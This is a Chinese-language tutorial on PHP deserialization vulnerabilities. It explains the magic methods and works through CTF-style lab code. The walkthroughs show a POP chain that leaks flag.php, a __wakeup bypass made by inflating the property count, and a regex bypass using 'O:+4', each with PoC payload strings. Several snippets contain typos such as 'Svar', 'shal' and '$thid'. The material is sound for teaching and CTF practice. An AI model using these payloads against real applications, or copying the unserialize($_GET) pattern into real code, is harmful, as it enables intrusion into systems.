文章目录
前言
序列化是将对象的状态信息转换为可以存储或传输得到形式的过程
序列化(Serialization)在计算机科学的数据处理中,是指将数据结构 或对象状态转换成可取用格式(例如存成文件,存于缓冲,或经由网络中发送),以留待后续在相同或另一台计算机环境中能恢复原先状态的过程。其作用主要体现在以下几个方面:
1、方便网络传输:在网络通信中,数据需要以特定的格式进行传输。序列化可以将对象转换为字节流,从而方便地在网络上传输。接收方再对这些字节流进行反序列化,即可恢复出原始的对象。这对于分布式系统和微服务架构中的数据传输尤为重要。
2、方便数据存储:序列化可以将对象转换为紧凑的字节流形式,从而节省存储空间。同时,通过将对象持久化到外部存储中(如数据库、文件系统等),可以在需要时通过反序列化恢复出对象,实现数据的长期保存和恢复。
3、实现对象的持久化:对象持久化是指将对象的状态保存到存储介质中,以便在程序重新启动或重新加载时能够恢复对象的状态。序列化是实现对象持久化的一种有效手段。通过将对象序列化为字节流并存储到磁盘或其他持久化存储介质中,可以在需要时通过反序列化恢复出对象。
4、方便协议解释:序列化中的"序"即有序的意思,有序的字符串序列可以供绝大多数的编程语言解释。例如,Protocol Buffers等序列化框架可以生成跨平台、跨语言的序列化代码,使得不同语言之间的数据传输和协议解释变得更加方便。
然而,序列化也存在一些不足和潜在的安全问题。例如,序列化过程可能会增加一定的性能开销;同时,反序列化过程中如果处理不当,可能会引发安全漏洞,如反序列化攻击等。因此,在使用序列化功能时,需要权衡其优缺点,并采取相应的安全措施来保障系统的稳定性和安全性。
一、反序列化
反序列化是将序列化得到的字符串转化为一个对象的过程
反序列化生成的对象的 成员属性值 由 被反序列化 的 字符串 决定,与 原来 类 预定义 的 值 无关(这句话说明我们可以通过修改序列化的字符来改变对象的属性值 );
反序列化使用unserialize()函数将字符串转换为对象,序列化使用serialize()函数将对象转化为字符串;
反序列化不触发类的成员方法,需要调用方法后才能触发。
php
class demo{
public $name = "12345";
private $age;
public function jr(){
echo $thid->name;
}
}
// 0:4:"demo":2:{s:4:"name";s:5:"12345";s:9:"%00demo%00age";N;}
echo serialize(new demo());
我们通过修改序列化后的字符串,然后将修改后的字符串进行反序列化就可以达到修改对象的目的。
二、反序列化漏洞利用
反序列化漏洞的原因:反序列化过程中,unserialize()接收的值可控
既然我们知道了,如果有一个接口或程序可以接受一个序列化字符串,然后会进行反序列化,那么我们是不是可以篡改这个序列化字符串,在其中加入一些我们要实现的指令,让他触发,从而达到我们的目的呢?
看到这里,我们又会发现一个问题,那就是我们要怎么去让篡改后的数据,让其在服务器中反序列化时会触发我们植入的命令呢?
下面就是在PHP中一些可以让命令触发的方法。
1.魔法方法
魔法方法是一个预定好的、在特定情况下自动触发的行为方法;
魔法方法的作用:魔术方法在特定条件下自动调用相关方法最终导致触发代码
__construct() | //类的构造函数,创建对象时触发 |
---|---|
__destruct() | //类的析构函数,对象被销毁时触发 |
__call() | //调用对象不可访问、不存在的方法时触发 |
__callStatic() | //在静态上下文中调用不可访问的方法时触发 |
__get() | //调用不可访问、不存在的对象成员属性时触发 |
__set() | //在给不可访问、不存在的对象成员属性赋值时触发 |
__isset() | //当对不可访问属性调用isset()或empty()时触发 |
__unset() | //在不可访问的属性上使用unset()时触发 |
__invoke() | //把对象当初函数调用时触发 |
__sleep() | //执行serialize()时,先会调用这个方法 |
__wakeup() | //执行unserialize()时,先会调用这个方法 |
__toString() | //把对象当成字符串调用时触发 |
__clone() | //使用clone关键字拷贝完一个对象后触发 |
2.构造POP链
下面是一个PHP靶场代码
php
class Modifier{
private Svar; I
// $var=flag.php
public function append($value)
{
include($value);
echo $flag;
}
public function __invoke(){
$this->append($this->var);
}
}
Modifier类当函数去调用时,会触发__invoke,由这个去调用append,输出flag
class Show{
public $source;
public $str;
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
echo $this->source;
}
}
Show类执行反序列化时,会调用__wakeup,由其输出source(可以认为source是一个对象,然后在这里是当字符串调用的,可以触发toString)
当成字符串调用时,会调用toString,由其返回从str(str是某个对象)中获取source,然后赋值给这个对象的source
class Test{
// Modifier
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function $this->p;
return $function();
}
}
当Test类创建时会触发__construct,给p赋值一个数组array()
当调用不可访问、不存在的对象成员属性时触发__get,我们可以给p赋值一个类,让其将这个类当函数调用触发__invoke
这里传一个pop序列化的值
if(isset($_GET['pop'])){
unserialize($_GET['pop']);
}
反序列化会调用__wakeup,会输出source,如果我们将Test赋值给Show的str,Show赋值给source,那么我们反序列化时就会让其触发__wakeup,去将自己当字符串去调用,从而触发__toString,让其(str=Test)访问一个不存在的属性source,从而触发Test的__get。 我们的目的是要获得flag,那么我们就要append触发,这个要触发就要__invoke触发,这个要触发就需要有将Modifier类当函数去执行的方法,就是Test里面的__get,我们要将p赋值为Modifier,这时就要访问Test中不可访问、不存在的对象成员属性时触发__get,同时向其中传入Modifier,此时就会让其输出flag
构建poc
php
class Modifier{
private $var = "flag.php";
}
class Show{
public $source;
public $str;
}
class Test{
public $p;
}
$mod = new Modifier();
$show = new Show();
$test = new Test();
$test->p = $mod;
$show->source = $show;
$show->str = $test;
echo serialize($show);
用此构造的poc(构造poc只需要属性)得到的序列传入pop即可得到flag
例题
php
class HaHaHa{
public Sadmin;
public Spasswd;
public function _construct(){
$this->admin ="user";
$this->passwd = "123456";
}
public function _wakeup(){
Sthis->passwd = shal($this->passwd);
}
public function _destruct(){
if($this->admin == "admin" && $this->passwd ==="wllm"){
include("flag. php");
echo $flag;
}else{
echo $this->passwd;
echo "No wake up";
}
}
}
$Letmeseesee = $_GET['p'];
unserialize (SLetmeseesee);
在这里我们如果直接反序列化时,就会调用__wakeup对passwd进行sha1加密,所以我们需要进行绕过
php
POC:
class HaHaHa{
public Sadmin = "user";
public Spasswd = "wllm";
}
serialize (SLetmeseesee);
得到O:6:"HaHaHa":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}
我们修改其中的属性的个数2改为3就可以绕过__wakeup
当传入的属性个数大于实际属性个数时,__wakeup就不会执行
绕过正则
php
class Demo
{
private $file ='index. php';
public function __construct($file)
{
$this->file $file;
}
function __destruct()
{
echo @highlight_file($this->file,true);
}
function __wakeup()
{
if ($this->file != 'index. php'){
//the secret is in the fl4g.php
$this->file = 'index. php';
}
}
if (isset($_GET['var'])){
$var base64_decode($_GET['var']);
//用0:+4可以绕过正则匹配
if (preg_match('/[oc]:\d+:/i', $var)){//匹配是否有序列化
die('stop hacking!');
}else{
@unserialize($var);
}
}else{
highlight_file( filename: "index. php");
}
POC
php
Class Demo{
private $file ='flag. php';
}
echo serialize(new Demo());
O:4:"Demo":1:{s:10:"Demofile";s:8:"flag.php";}
修改为O:+4:"Demo":2:{s:10:"Demofile";s:8:"flag.php";}
下一期
Java反序列化漏洞